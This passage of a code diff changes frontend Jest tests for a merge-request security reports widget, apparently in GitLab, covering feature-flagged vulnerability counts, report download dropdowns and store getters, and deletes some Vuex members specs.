index ab87d80b291..c440081a0c4 100644
--- a/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js
+++ b/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js
@@ -1,162 +1,465 @@
-import { mount } from '@vue/test-utils';
+import { mount, createLocalVue } from '@vue/test-utils';
+import MockAdapter from 'axios-mock-adapter';
+import { merge } from 'lodash';
+import VueApollo from 'vue-apollo';
+import Vuex from 'vuex';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
+import { trimText } from 'helpers/text_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import {
+ expectedDownloadDropdownProps,
+ securityReportDownloadPathsQueryResponse,
+ sastDiffSuccessMock,
+ secretScanningDiffSuccessMock,
+} from 'jest/vue_shared/security_reports/mock_data';
import Api from '~/api';
-import Flash from '~/flash';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import {
+ REPORT_TYPE_SAST,
+ REPORT_TYPE_SECRET_DETECTION,
+} from '~/vue_shared/security_reports/constants';
+import HelpIcon from '~/vue_shared/security_reports/components/help_icon.vue';
+import SecurityReportDownloadDropdown from '~/vue_shared/security_reports/components/security_report_download_dropdown.vue';
import SecurityReportsApp from '~/vue_shared/security_reports/security_reports_app.vue';
+import securityReportDownloadPathsQuery from '~/vue_shared/security_reports/queries/security_report_download_paths.query.graphql';
jest.mock('~/flash');
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+const SAST_COMPARISON_PATH = '/sast.json';
+const SECRET_SCANNING_COMPARISON_PATH = '/secret_detection.json';
+
describe('Security reports app', () => {
let wrapper;
- let mrTabsMock;
const props = {
pipelineId: 123,
projectId: 456,
securityReportsDocsPath: '/docs',
+ discoverProjectSecurityPath: '/discoverProjectSecurityPath',
};
- const createComponent = () => {
- wrapper = mount(SecurityReportsApp, {
- propsData: { ...props },
- });
+ const createComponent = options => {
+ wrapper = mount(
+ SecurityReportsApp,
+ merge(
+ {
+ localVue,
+ propsData: { ...props },
+ stubs: {
+ HelpIcon: true,
+ },
+ },
+ options,
+ ),
+ );
+ };
+
+ const pendingHandler = () => new Promise(() => {});
+ const successHandler = () => Promise.resolve({ data: securityReportDownloadPathsQueryResponse });
+ const failureHandler = () => Promise.resolve({ errors: [{ message: 'some error' }] });
+ const createMockApolloProvider = handler => {
+ localVue.use(VueApollo);
+
+ const requestHandlers = [[securityReportDownloadPathsQuery, handler]];
+
+ return createMockApollo(requestHandlers);
};
const anyParams = expect.any(Object);
+ const findDownloadDropdown = () => wrapper.find(SecurityReportDownloadDropdown);
const findPipelinesTabAnchor = () => wrapper.find('[data-testid="show-pipelines"]');
- const findHelpLink = () => wrapper.find('[data-testid="help"]');
- const setupMrTabsMock = () => {
- mrTabsMock = { tabShown: jest.fn() };
- window.mrTabs = mrTabsMock;
- };
+ const findHelpIconComponent = () => wrapper.find(HelpIcon);
const setupMockJobArtifact = reportType => {
jest
.spyOn(Api, 'pipelineJobs')
.mockResolvedValue({ data: [{ artifacts: [{ file_type: reportType }] }] });
};
+ const expectPipelinesTabAnchor = () => {
+ const mrTabsMock = { tabShown: jest.fn() };
+ window.mrTabs = mrTabsMock;
+ findPipelinesTabAnchor().trigger('click');
+ expect(mrTabsMock.tabShown.mock.calls).toEqual([['pipelines']]);
+ };
afterEach(() => {
wrapper.destroy();
delete window.mrTabs;
});
- describe.each(SecurityReportsApp.reportTypes)('given a report type %p', reportType => {
- beforeEach(() => {
- window.mrTabs = { tabShown: jest.fn() };
- setupMockJobArtifact(reportType);
- createComponent();
- return wrapper.vm.$nextTick();
- });
+ describe.each([false, true])(
+ 'given the coreSecurityMrWidgetCounts feature flag is %p',
+ coreSecurityMrWidgetCounts => {
+ const createComponentWithFlag = options =>
+ createComponent(
+ merge(
+ {
+ provide: {
+ glFeatures: {
+ coreSecurityMrWidgetCounts,
+ },
+ },
+ },
+ options,
+ ),
+ );
- it('calls the pipelineJobs API correctly', () => {
- expect(Api.pipelineJobs).toHaveBeenCalledTimes(1);
- expect(Api.pipelineJobs).toHaveBeenCalledWith(props.projectId, props.pipelineId, anyParams);
- });
+ describe.each(SecurityReportsApp.reportTypes)('given a report type %p', reportType => {
+ beforeEach(() => {
+ window.mrTabs = { tabShown: jest.fn() };
+ setupMockJobArtifact(reportType);
+ createComponentWithFlag();
+ return wrapper.vm.$nextTick();
+ });
- it('renders the expected message', () => {
- expect(wrapper.text()).toMatchInterpolatedText(SecurityReportsApp.i18n.scansHaveRun);
- });
+ it('calls the pipelineJobs API correctly', () => {
+ expect(Api.pipelineJobs).toHaveBeenCalledTimes(1);
+ expect(Api.pipelineJobs).toHaveBeenCalledWith(
+ props.projectId,
+ props.pipelineId,
+ anyParams,
+ );
+ });
- describe('clicking the anchor to the pipelines tab', () => {
- beforeEach(() => {
- setupMrTabsMock();
- findPipelinesTabAnchor().trigger('click');
+ it('renders the expected message', () => {
+ expect(wrapper.text()).toMatchInterpolatedText(
+ SecurityReportsApp.i18n.scansHaveRunWithDownloadGuidance,
+ );
+ });
+
+ describe('clicking the anchor to the pipelines tab', () => {
+ it('calls the mrTabs.tabShown global', () => {
+ expectPipelinesTabAnchor();
+ });
+ });
+
+ it('renders a help link', () => {
+ expect(findHelpIconComponent().props()).toEqual({
+ helpPath: props.securityReportsDocsPath,
+ discoverProjectSecurityPath: props.discoverProjectSecurityPath,
+ });
+ });
+ });
+
+ describe('given a report type "foo"', () => {
+ beforeEach(() => {
+ setupMockJobArtifact('foo');
+ createComponentWithFlag();
+ return wrapper.vm.$nextTick();
+ });
+
+ it('calls the pipelineJobs API correctly', () => {
+ expect(Api.pipelineJobs).toHaveBeenCalledTimes(1);
+ expect(Api.pipelineJobs).toHaveBeenCalledWith(
+ props.projectId,
+ props.pipelineId,
+ anyParams,
+ );
+ });
+
+ it('renders nothing', () => {
+ expect(wrapper.html()).toBe('');
+ });
});
- it('calls the mrTabs.tabShown global', () => {
- expect(mrTabsMock.tabShown.mock.calls).toEqual([['pipelines']]);
+ describe('security artifacts on last page of multi-page response', () => {
+ const numPages = 3;
+
+ beforeEach(() => {
+ jest
+ .spyOn(Api, 'pipelineJobs')
+ .mockImplementation(async (projectId, pipelineId, { page }) => {
+ const requestedPage = parseInt(page, 10);
+ if (requestedPage < numPages) {
+ return {
+ // Some jobs with no relevant artifacts
+ data: [{}, {}],
+ headers: { 'x-next-page': String(requestedPage + 1) },
+ };
+ } else if (requestedPage === numPages) {
+ return {
+ data: [{ artifacts: [{ file_type: SecurityReportsApp.reportTypes[0] }] }],
+ };
+ }
+
+ throw new Error('Test failed due to request of non-existent jobs page');
+ });
+
+ createComponentWithFlag();
+ return wrapper.vm.$nextTick();
+ });
+
+ it('fetches all pages', () => {
+ expect(Api.pipelineJobs).toHaveBeenCalledTimes(numPages);
+ });
+
+ it('renders the expected message', () => {
+ expect(wrapper.text()).toMatchInterpolatedText(
+ SecurityReportsApp.i18n.scansHaveRunWithDownloadGuidance,
+ );
+ });
});
- });
- it('renders a help link', () => {
- expect(findHelpLink().attributes()).toMatchObject({
- href: props.securityReportsDocsPath,
+ describe('given an error from the API', () => {
+ let error;
+
+ beforeEach(() => {
+ error = new Error('an error');
+ jest.spyOn(Api, 'pipelineJobs').mockRejectedValue(error);
+ createComponentWithFlag();
+ return wrapper.vm.$nextTick();
+ });
+
+ it('calls the pipelineJobs API correctly', () => {
+ expect(Api.pipelineJobs).toHaveBeenCalledTimes(1);
+ expect(Api.pipelineJobs).toHaveBeenCalledWith(
+ props.projectId,
+ props.pipelineId,
+ anyParams,
+ );
+ });
+
+ it('renders nothing', () => {
+ expect(wrapper.html()).toBe('');
+ });
+
+ it('calls createFlash correctly', () => {
+ expect(createFlash.mock.calls).toEqual([
+ [
+ {
+ message: SecurityReportsApp.i18n.apiError,
+ captureError: true,
+ error,
+ },
+ ],
+ ]);
+ });
});
- });
- });
+ },
+ );
+
+ describe('given the coreSecurityMrWidgetCounts feature flag is enabled', () => {
+ let mock;
+
+ const createComponentWithFlagEnabled = options =>
+ createComponent(
+ merge(options, {
+ provide: {
+ glFeatures: {
+ coreSecurityMrWidgetCounts: true,
+ },
+ },
+ }),
+ );
- describe('given a report type "foo"', () => {
beforeEach(() => {
- setupMockJobArtifact('foo');
- createComponent();
- return wrapper.vm.$nextTick();
+ mock = new MockAdapter(axios);
});
- it('calls the pipelineJobs API correctly', () => {
- expect(Api.pipelineJobs).toHaveBeenCalledTimes(1);
- expect(Api.pipelineJobs).toHaveBeenCalledWith(props.projectId, props.pipelineId, anyParams);
+ afterEach(() => {
+ mock.restore();
});
- it('renders nothing', () => {
- expect(wrapper.html()).toBe('');
- });
+ const SAST_SUCCESS_MESSAGE =
+ 'Security scanning detected 1 potential vulnerability 1 Critical 0 High and 0 Others';
+ const SECRET_SCANNING_SUCCESS_MESSAGE =
+ 'Security scanning detected 2 potential vulnerabilities 1 Critical 1 High and 0 Others';
+ describe.each`
+ reportType | pathProp | path | successResponse | successMessage
+ ${REPORT_TYPE_SAST} | ${'sastComparisonPath'} | ${SAST_COMPARISON_PATH} | ${sastDiffSuccessMock} | ${SAST_SUCCESS_MESSAGE}
+ ${REPORT_TYPE_SECRET_DETECTION} | ${'secretScanningComparisonPath'} | ${SECRET_SCANNING_COMPARISON_PATH} | ${secretScanningDiffSuccessMock} | ${SECRET_SCANNING_SUCCESS_MESSAGE}
+ `(
+ 'given a $pathProp and $reportType artifact',
+ ({ reportType, pathProp, path, successResponse, successMessage }) => {
+ beforeEach(() => {
+ setupMockJobArtifact(reportType);
+ });
+
+ describe('when loading', () => {
+ beforeEach(() => {
+ mock = new MockAdapter(axios, { delayResponse: 1 });
+ mock.onGet(path).replyOnce(200, successResponse);
+
+ createComponentWithFlagEnabled({
+ propsData: {
+ [pathProp]: path,
+ },
+ });
+
+ return waitForPromises();
+ });
+
+ it('should have loading message', () => {
+ expect(wrapper.text()).toBe('Security scanning is loading');
+ });
+
+ it('should not render the pipeline tab anchor', () => {
+ expect(findPipelinesTabAnchor().exists()).toBe(false);
+ });
+ });
+
+ describe('when successfully loaded', () => {
+ beforeEach(() => {
+ mock.onGet(path).replyOnce(200, successResponse);
+
+ createComponentWithFlagEnabled({
+ propsData: {
+ [pathProp]: path,
+ },
+ });
+
+ return waitForPromises();
+ });
+
+ it('should show counts', () => {
+ expect(trimText(wrapper.text())).toContain(successMessage);
+ });
+
+ it('should render the pipeline tab anchor', () => {
+ expectPipelinesTabAnchor();
+ });
+ });
+
+ describe('when an error occurs', () => {
+ beforeEach(() => {
+ mock.onGet(path).replyOnce(500);
+
+ createComponentWithFlagEnabled({
+ propsData: {
+ [pathProp]: path,
+ },
+ });
+
+ return waitForPromises();
+ });
+
+ it('should show error message', () => {
+ expect(trimText(wrapper.text())).toContain('Loading resulted in an error');
+ });
+
+ it('should render the pipeline tab anchor', () => {
+ expectPipelinesTabAnchor();
+ });
+ });
+ },
+ );
});
- describe('security artifacts on last page of multi-page response', () => {
- const numPages = 3;
+ describe('given coreSecurityMrWidgetDownloads feature flag is enabled', () => {
+ const createComponentWithFlagEnabled = options =>
+ createComponent(
+ merge(options, {
+ provide: {
+ glFeatures: {
+ coreSecurityMrWidgetDownloads: true,
+ },
+ },
+ }),
+ );
- beforeEach(() => {
- jest
- .spyOn(Api, 'pipelineJobs')
- .mockImplementation(async (projectId, pipelineId, { page }) => {
- const requestedPage = parseInt(page, 10);
- if (requestedPage < numPages) {
- return {
- // Some jobs with no relevant artifacts
- data: [{}, {}],
- headers: { 'x-next-page': String(requestedPage + 1) },
- };
- } else if (requestedPage === numPages) {
- return {
- data: [{ artifacts: [{ file_type: SecurityReportsApp.reportTypes[0] }] }],
- };
- }
-
- throw new Error('Test failed due to request of non-existent jobs page');
- });
-
- createComponent();
- return wrapper.vm.$nextTick();
+ describe('given the query is loading', () => {
+ beforeEach(() => {
+ createComponentWithFlagEnabled({
+ apolloProvider: createMockApolloProvider(pendingHandler),
+ });
+ });
+
+ // TODO: Remove this assertion as part of
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/273431
+ it('initially renders nothing', () => {
+ expect(wrapper.isEmpty()).toBe(true);
+ });
});
- it('fetches all pages', () => {
- expect(Api.pipelineJobs).toHaveBeenCalledTimes(numPages);
+ describe('given the query loads successfully', () => {
+ beforeEach(() => {
+ createComponentWithFlagEnabled({
+ apolloProvider: createMockApolloProvider(successHandler),
+ });
+ });
+
+ it('renders the download dropdown', () => {
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
+ });
+
+ it('renders the expected message', () => {
+ const text = wrapper.text();
+ expect(text).not.toContain(SecurityReportsApp.i18n.scansHaveRunWithDownloadGuidance);
+ expect(text).toContain(SecurityReportsApp.i18n.scansHaveRun);
+ });
+
+ it('should not render the pipeline tab anchor', () => {
+ expect(findPipelinesTabAnchor().exists()).toBe(false);
+ });
});
- it('renders the expected message', () => {
- expect(wrapper.text()).toMatchInterpolatedText(SecurityReportsApp.i18n.scansHaveRun);
+ describe('given the query fails', () => {
+ beforeEach(() => {
+ createComponentWithFlagEnabled({
+ apolloProvider: createMockApolloProvider(failureHandler),
+ });
+ });
+
+ it('calls createFlash correctly', () => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: SecurityReportsApp.i18n.apiError,
+ captureError: true,
+ error: expect.any(Error),
+ });
+ });
+
+ // TODO: Remove this assertion as part of
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/273431
+ it('renders nothing', () => {
+ expect(wrapper.isEmpty()).toBe(true);
+ });
});
});
- describe('given an error from the API', () => {
- let error;
+ describe('given coreSecurityMrWidgetCounts and coreSecurityMrWidgetDownloads feature flags are enabled', () => {
+ let mock;
beforeEach(() => {
- error = new Error('an error');
- jest.spyOn(Api, 'pipelineJobs').mockRejectedValue(error);
- createComponent();
- return wrapper.vm.$nextTick();
+ mock = new MockAdapter(axios);
+ mock.onGet(SAST_COMPARISON_PATH).replyOnce(200, sastDiffSuccessMock);
+ mock.onGet(SECRET_SCANNING_COMPARISON_PATH).replyOnce(200, secretScanningDiffSuccessMock);
+ createComponent({
+ propsData: {
+ sastComparisonPath: SAST_COMPARISON_PATH,
+ secretScanningComparisonPath: SECRET_SCANNING_COMPARISON_PATH,
+ },
+ provide: {
+ glFeatures: {
+ coreSecurityMrWidgetCounts: true,
+ coreSecurityMrWidgetDownloads: true,
+ },
+ },
+ apolloProvider: createMockApolloProvider(successHandler),
+ });
+
+ return waitForPromises();
});
- it('calls the pipelineJobs API correctly', () => {
- expect(Api.pipelineJobs).toHaveBeenCalledTimes(1);
- expect(Api.pipelineJobs).toHaveBeenCalledWith(props.projectId, props.pipelineId, anyParams);
+ afterEach(() => {
+ mock.restore();
});
- it('renders nothing', () => {
- expect(wrapper.html()).toBe('');
+ it('renders the download dropdown', () => {
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
});
- it('calls Flash correctly', () => {
- expect(Flash.mock.calls).toEqual([
- [
- {
- message: SecurityReportsApp.i18n.apiError,
- captureError: true,
- error,
- },
- ],
- ]);
+ it('renders the expected counts message', () => {
+ expect(trimText(wrapper.text())).toContain(
+ 'Security scanning detected 3 potential vulnerabilities 2 Critical 1 High and 0 Others',
+ );
+ });
+
+ it('should not render the pipeline tab anchor', () => {
+ expect(findPipelinesTabAnchor().exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/vue_shared/security_reports/store/getters_spec.js b/spec/frontend/vue_shared/security_reports/store/getters_spec.js
new file mode 100644
index 00000000000..8de704be455
--- /dev/null
+++ b/spec/frontend/vue_shared/security_reports/store/getters_spec.js
@@ -0,0 +1,182 @@
+import createState from '~/vue_shared/security_reports/store/state';
+import createSastState from '~/vue_shared/security_reports/store/modules/sast/state';
+import createSecretScanningState from '~/vue_shared/security_reports/store/modules/secret_detection/state';
+import { groupedTextBuilder } from '~/vue_shared/security_reports/store/utils';
+import {
+ groupedSummaryText,
+ allReportsHaveError,
+ areReportsLoading,
+ anyReportHasError,
+ areAllReportsLoading,
+ anyReportHasIssues,
+ summaryCounts,
+} from '~/vue_shared/security_reports/store/getters';
+import { CRITICAL, HIGH, LOW } from '~/vulnerabilities/constants';
+
+const generateVuln = severity => ({ severity });
+
+describe('Security reports getters', () => {
+ let state;
+
+ beforeEach(() => {
+ state = createState();
+ state.sast = createSastState();
+ state.secretDetection = createSecretScanningState();
+ });
+
+ describe('summaryCounts', () => {
+ it('returns 0 count for empty state', () => {
+ expect(summaryCounts(state)).toEqual({
+ critical: 0,
+ high: 0,
+ other: 0,
+ });
+ });
+
+ describe('combines all reports', () => {
+ it('of the same severity', () => {
+ state.sast.newIssues = [generateVuln(CRITICAL)];
+ state.secretDetection.newIssues = [generateVuln(CRITICAL)];
+
+ expect(summaryCounts(state)).toEqual({
+ critical: 2,
+ high: 0,
+ other: 0,
+ });
+ });
+
+ it('of different severities', () => {
+ state.sast.newIssues = [generateVuln(CRITICAL)];
+ state.secretDetection.newIssues = [generateVuln(HIGH), generateVuln(LOW)];
+
+ expect(summaryCounts(state)).toEqual({
+ critical: 1,
+ high: 1,
+ other: 1,
+ });
+ });
+ });
+ });
+
+ describe('groupedSummaryText', () => {
+ it('returns failed text', () => {
+ expect(
+ groupedSummaryText(state, {
+ allReportsHaveError: true,
+ areReportsLoading: false,
+ summaryCounts: {},
+ }),
+ ).toEqual({ message: 'Security scanning failed loading any results' });
+ });
+
+ it('returns `is loading` as status text', () => {
+ expect(
+ groupedSummaryText(state, {
+ allReportsHaveError: false,
+ areReportsLoading: true,
+ summaryCounts: {},
+ }),
+ ).toEqual(
+ groupedTextBuilder({
+ reportType: 'Security scanning',
+ critical: 0,
+ high: 0,
+ other: 0,
+ status: 'is loading',
+ }),
+ );
+ });
+
+ it('returns no new status text if there are existing ones', () => {
+ expect(
+ groupedSummaryText(state, {
+ allReportsHaveError: false,
+ areReportsLoading: false,
+ summaryCounts: {},
+ }),
+ ).toEqual(
+ groupedTextBuilder({
+ reportType: 'Security scanning',
+ critical: 0,
+ high: 0,
+ other: 0,
+ status: '',
+ }),
+ );
+ });
+ });
+
+ describe('areReportsLoading', () => {
+ it('returns true when any report is loading', () => {
+ state.sast.isLoading = true;
+
+ expect(areReportsLoading(state)).toEqual(true);
+ });
+
+ it('returns false when none of the reports are loading', () => {
+ expect(areReportsLoading(state)).toEqual(false);
+ });
+ });
+
+ describe('areAllReportsLoading', () => {
+ it('returns true when all reports are loading', () => {
+ state.sast.isLoading = true;
+ state.secretDetection.isLoading = true;
+
+ expect(areAllReportsLoading(state)).toEqual(true);
+ });
+
+ it('returns false when some of the reports are loading', () => {
+ state.sast.isLoading = true;
+
+ expect(areAllReportsLoading(state)).toEqual(false);
+ });
+
+ it('returns false when none of the reports are loading', () => {
+ expect(areAllReportsLoading(state)).toEqual(false);
+ });
+ });
+
+ describe('allReportsHaveError', () => {
+ it('returns true when all reports have error', () => {
+ state.sast.hasError = true;
+ state.secretDetection.hasError = true;
+
+ expect(allReportsHaveError(state)).toEqual(true);
+ });
+
+ it('returns false when none of the reports have error', () => {
+ expect(allReportsHaveError(state)).toEqual(false);
+ });
+
+ it('returns false when one of the reports does not have error', () => {
+ state.secretDetection.hasError = true;
+
+ expect(allReportsHaveError(state)).toEqual(false);
+ });
+ });
+
+ describe('anyReportHasError', () => {
+ it('returns true when any of the reports has error', () => {
+ state.sast.hasError = true;
+
+ expect(anyReportHasError(state)).toEqual(true);
+ });
+
+ it('returns false when none of the reports has error', () => {
+ expect(anyReportHasError(state)).toEqual(false);
+ });
+ });
+
+ describe('anyReportHasIssues', () => {
+ it('returns true when any of the reports has new issues', () => {
+ state.sast.newIssues.push(generateVuln(LOW));
+
+ expect(anyReportHasIssues(state)).toEqual(true);
+ });
+
+ it('returns false when none of the reports has error', () => {
+ expect(anyReportHasIssues(state)).toEqual(false);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/security_reports/utils_spec.js b/spec/frontend/vue_shared/security_reports/utils_spec.js
new file mode 100644
index 00000000000..ea54644796a
--- /dev/null
+++ b/spec/frontend/vue_shared/security_reports/utils_spec.js
@@ -0,0 +1,28 @@
+import { extractSecurityReportArtifacts } from '~/vue_shared/security_reports/utils';
+import {
+ REPORT_TYPE_SAST,
+ REPORT_TYPE_SECRET_DETECTION,
+} from '~/vue_shared/security_reports/constants';
+import {
+ securityReportDownloadPathsQueryResponse,
+ sastArtifacts,
+ secretDetectionArtifacts,
+} from './mock_data';
+
+describe('extractSecurityReportArtifacts', () => {
+ it.each`
+ reportTypes | expectedArtifacts
+ ${[]} | ${[]}
+ ${['foo']} | ${[]}
+ ${[REPORT_TYPE_SAST]} | ${sastArtifacts}
+ ${[REPORT_TYPE_SECRET_DETECTION]} | ${secretDetectionArtifacts}
+ ${[REPORT_TYPE_SAST, REPORT_TYPE_SECRET_DETECTION]} | ${[...secretDetectionArtifacts, ...sastArtifacts]}
+ `(
+ 'returns the expected artifacts given report types $reportTypes',
+ ({ reportTypes, expectedArtifacts }) => {
+ expect(
+ extractSecurityReportArtifacts(reportTypes, securityReportDownloadPathsQueryResponse),
+ ).toEqual(expectedArtifacts);
+ },
+ );
+});
diff --git a/spec/frontend/vuex_shared/modules/members/actions_spec.js b/spec/frontend/vuex_shared/modules/members/actions_spec.js
deleted file mode 100644
index c7048a9c421..00000000000
--- a/spec/frontend/vuex_shared/modules/members/actions_spec.js
+++ /dev/null
@@ -1,152 +0,0 @@
-import { noop } from 'lodash';
-import axios from 'axios';
-import MockAdapter from 'axios-mock-adapter';
-import { members, group } from 'jest/vue_shared/components/members/mock_data';
-import testAction from 'helpers/vuex_action_helper';
-import { useFakeDate } from 'helpers/fake_date';
-import httpStatusCodes from '~/lib/utils/http_status';
-import * as types from '~/vuex_shared/modules/members/mutation_types';
-import {
- updateMemberRole,
- showRemoveGroupLinkModal,
- hideRemoveGroupLinkModal,
- updateMemberExpiration,
-} from '~/vuex_shared/modules/members/actions';
-
-describe('Vuex members actions', () => {
- describe('update member actions', () => {
- let mock;
-
- const state = {
- members,
- memberPath: '/groups/foo-bar/-/group_members/:id',
- requestFormatter: noop,
- };
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- describe('updateMemberRole', () => {
- const memberId = members[0].id;
- const accessLevel = { integerValue: 30, stringValue: 'Developer' };
-
- const payload = {
- memberId,
- accessLevel,
- };
-
- describe('successful request', () => {
- it(`commits ${types.RECEIVE_MEMBER_ROLE_SUCCESS} mutation`, async () => {
- mock.onPut().replyOnce(httpStatusCodes.OK);
-
- await testAction(updateMemberRole, payload, state, [
- {
- type: types.RECEIVE_MEMBER_ROLE_SUCCESS,
- payload,
- },
- ]);
-
- expect(mock.history.put[0].url).toBe('/groups/foo-bar/-/group_members/238');
- });
- });
-
- describe('unsuccessful request', () => {
- it(`commits ${types.RECEIVE_MEMBER_ROLE_ERROR} mutation and throws error`, async () => {
- mock.onPut().networkError();
-
- await expect(
- testAction(updateMemberRole, payload, state, [
- {
- type: types.RECEIVE_MEMBER_ROLE_ERROR,
- },
- ]),
- ).rejects.toThrowError(new Error('Network Error'));
- });
- });
- });
-
- describe('updateMemberExpiration', () => {
- useFakeDate(2020, 2, 15, 3);
-
- const memberId = members[0].id;
- const expiresAt = '2020-3-17';
-
- describe('successful request', () => {
- describe('changing expiration date', () => {
- it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_SUCCESS} mutation`, async () => {
- mock.onPut().replyOnce(httpStatusCodes.OK);
-
- await testAction(updateMemberExpiration, { memberId, expiresAt }, state, [
- {
- type: types.RECEIVE_MEMBER_EXPIRATION_SUCCESS,
- payload: { memberId, expiresAt: '2020-03-17T00:00:00Z' },
- },
- ]);
-
- expect(mock.history.put[0].url).toBe('/groups/foo-bar/-/group_members/238');
- });
- });
-
- describe('removing the expiration date', () => {
- it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_SUCCESS} mutation`, async () => {
- mock.onPut().replyOnce(httpStatusCodes.OK);
-
- await testAction(updateMemberExpiration, { memberId, expiresAt: null }, state, [
- {
- type: types.RECEIVE_MEMBER_EXPIRATION_SUCCESS,
- payload: { memberId, expiresAt: null },
- },
- ]);
- });
- });
- });
-
- describe('unsuccessful request', () => {
- it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_ERROR} mutation and throws error`, async () => {
- mock.onPut().networkError();
-
- await expect(
- testAction(updateMemberExpiration, { memberId, expiresAt }, state, [
- {
- type: types.RECEIVE_MEMBER_EXPIRATION_ERROR,
- },
- ]),
- ).rejects.toThrowError(new Error('Network Error'));
- });
- });
- });
- });
-
- describe('Group Link Modal', () => {
- const state = {
- removeGroupLinkModalVisible: false,
- groupLinkToRemove: null,
- };
-
- describe('showRemoveGroupLinkModal', () => {
- it(`commits ${types.SHOW_REMOVE_GROUP_LINK_MODAL} mutation`, () => {
- testAction(showRemoveGroupLinkModal, group, state, [
- {
- type: types.SHOW_REMOVE_GROUP_LINK_MODAL,
- payload: group,
- },
- ]);
- });
- });
-
- describe('hideRemoveGroupLinkModal', () => {
- it(`commits ${types.HIDE_REMOVE_GROUP_LINK_MODAL} mutation`, () => {
- testAction(hideRemoveGroupLinkModal, group, state, [
- {
- type: types.HIDE_REMOVE_GROUP_LINK_MODAL,
- },
- ]);
- });
- });
- });
-});
diff --git a/spec/frontend/vuex_shared/modules/members/mutations_spec.js b/spec/frontend/vuex_shared/modules/members/mutations_spec.js
deleted file mode 100644
index 710d43b8990..00000000000
--- a/spec/frontend/vuex_shared/modules/members/mutations_spec.js
+++ /dev/null
@@ -1,117 +0,0 @@
-import { members, group } from 'jest/vue_shared/components/members/mock_data';
-import mutations from '~/vuex_shared/modules/members/mutations';
-import * as types from '~/vuex_shared/modules/members/mutation_types';
-
-describe('Vuex members mutations', () => {
- describe('update member mutations', () => {
- let state;
-
- beforeEach(() => {
- state = {
- members,
- showError: false,
- errorMessage: '',
- };
- });
-
- describe(types.RECEIVE_MEMBER_ROLE_SUCCESS, () => {
- it('updates member', () => {
- const accessLevel = { integerValue: 30, stringValue: 'Developer' };
-
- mutations[types.RECEIVE_MEMBER_ROLE_SUCCESS](state, {
- memberId: members[0].id,
- accessLevel,
- });
-
- expect(state.members[0].accessLevel).toEqual(accessLevel);
- });
- });
-
- describe(types.RECEIVE_MEMBER_ROLE_ERROR, () => {
- it('shows error message', () => {
- mutations[types.RECEIVE_MEMBER_ROLE_ERROR](state);
-
- expect(state.showError).toBe(true);
- expect(state.errorMessage).toBe(
- "An error occurred while updating the member's role, please try again.",
- );
- });
- });
-
- describe(types.RECEIVE_MEMBER_EXPIRATION_SUCCESS, () => {
- it('updates member', () => {
- const expiresAt = '2020-03-17T00:00:00Z';
-
- mutations[types.RECEIVE_MEMBER_EXPIRATION_SUCCESS](state, {
- memberId: members[0].id,
- expiresAt,
- });
-
- expect(state.members[0].expiresAt).toEqual(expiresAt);
- });
- });
-
- describe(types.RECEIVE_MEMBER_EXPIRATION_ERROR, () => {
- it('shows error message', () => {
- mutations[types.RECEIVE_MEMBER_EXPIRATION_ERROR](state);
-
- expect(state.showError).toBe(true);
- expect(state.errorMessage).toBe(
- "An error occurred while updating the member's expiration date, please try again.",
- );
- });
- });
- });
-
- describe(types.HIDE_ERROR, () => {
- it('sets `showError` to `false`', () => {
- const state = {
- showError: true,
- errorMessage: 'foo bar',
- };
-
- mutations[types.HIDE_ERROR](state);
-
- expect(state.showError).toBe(false);
- });
-
- it('sets `errorMessage` to an empty string', () => {
- const state = {
- showError: true,
- errorMessage: 'foo bar',
- };
-
- mutations[types.HIDE_ERROR](state);
-
- expect(state.errorMessage).toBe('');
- });
- });
-
- describe(types.SHOW_REMOVE_GROUP_LINK_MODAL, () => {
- it('sets `removeGroupLinkModalVisible` and `groupLinkToRemove`', () => {
- const state = {
- removeGroupLinkModalVisible: false,
- groupLinkToRemove: null,
- };
-
- mutations[types.SHOW_REMOVE_GROUP_LINK_MODAL](state, group);
-
- expect(state).toEqual({
- removeGroupLinkModalVisible: true,
- groupLinkToRemove: group,
- });
- });
- });
-
- describe(types.HIDE_REMOVE_GROUP_LINK_MODAL, () => {
- it('sets `removeGroupLinkModalVisible` to `false`', () => {
- const state = {
- removeGroupLinkModalVisible: false,
- };
-
- mutations[types.HIDE_REMOVE_GROUP_LINK_MODAL](state);
-
- expect(state.removeGroupLinkModalVisible).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/vuex_shared/modules/members/utils_spec.js b/spec/frontend/vuex_shared/modules/members/utils_spec.js
deleted file mode 100644
index 4fc3445dac0..00000000000
--- a/spec/frontend/vuex_shared/modules/members/utils_spec.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import { members } from 'jest/vue_shared/components/members/mock_data';
-import { findMember } from '~/vuex_shared/modules/members/utils';
-
-describe('Members Vuex utils', () => {
- describe('findMember', () => {
- it('finds member by ID', () => {
- const state = {
- members,
- };
-
- expect(findMember(state, members[0].id)).toEqual(members[0]);
- });
- });
-});
diff --git a/spec/frontend/whats_new/components/app_spec.js b/spec/frontend/whats_new/components/app_spec.js
index cba550b19db..7a9340da87a 100644
--- a/spec/frontend/whats_new/components/app_spec.js
+++ b/spec/frontend/whats_new/components/app_spec.js
@@ -1,6 +1,6 @@
import { createLocalVue, mount } from '@vue/test-utils';
import Vuex from 'vuex';
-import { GlDrawer, GlInfiniteScroll } from '@gitlab/ui';
+import { GlDrawer, GlInfiniteScroll, GlTabs } from '@gitlab/ui';
import { mockTracking, unmockTracking, triggerEvent } from 'helpers/tracking_helper';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import App from '~/whats_new/components/app.vue';
@@ -16,12 +16,18 @@ const localVue = createLocalVue();
localVue.use(Vuex);
describe('App', () => {
